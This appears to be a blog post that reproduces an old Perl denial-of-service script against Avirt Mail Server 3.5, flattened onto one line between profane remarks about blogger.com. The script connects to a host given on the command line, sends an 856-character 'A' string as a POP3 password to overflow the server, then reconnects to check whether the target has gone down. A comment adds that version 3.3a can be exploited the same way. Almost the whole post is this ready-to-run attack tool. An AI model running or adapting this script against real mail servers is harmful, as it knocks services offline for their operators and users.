fuck off blogger.com

#!/usr/bin/perl # Example for a possible DOS-attack against Avirt Mail Server ver3.5. # There need to be 856 characters to overflow Server. # Example : Trying example.com... # Connected to example.com. # Escape character is '^]'. # +OK aVirt Mail POP3 Server Ready # user fuckup # +OK # pass [856 characters] # Overflow # Hint : Avirt Mail Server ver3.3a has the same problem after 856 # characters (but then you can exploit it) use IO::Socket; print "Possible DOS-attack against Avirt Mail Server ver3.5\n"; print "++++++++++++++++++++++++++++++++++++++++++++++++++ ++\n"; if (not $ARGV[1]) { print "Usage: $0 [host] [username]\n\n"; exit(0); } sub connecthost { $host = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $ARGV[0], PeerPort => "25",) or die "Can't open connection to $ARGV[0] because $!\n"; $host->autoflush(1); } $bufferoverflow .= "A" x 856; print "\nOpen connection...\n"; &connecthost; print "Sending characters...\n"; print $host "user $ARGV[1]\n"; print $host "pass $bufferoverflow\n"; print "close connection...\n"; close $host; print "\nTesting...\n"; &connecthost("\nThe host $ARGV[0] is vulnerable to this attack.\n"); close $host; die "The host $ARGV[0] is not vulnerable to this attack.\n"; # by arbon(arbon@gmx.de)

fuck off blogger.com

четверг, 30 июня 2011 г.

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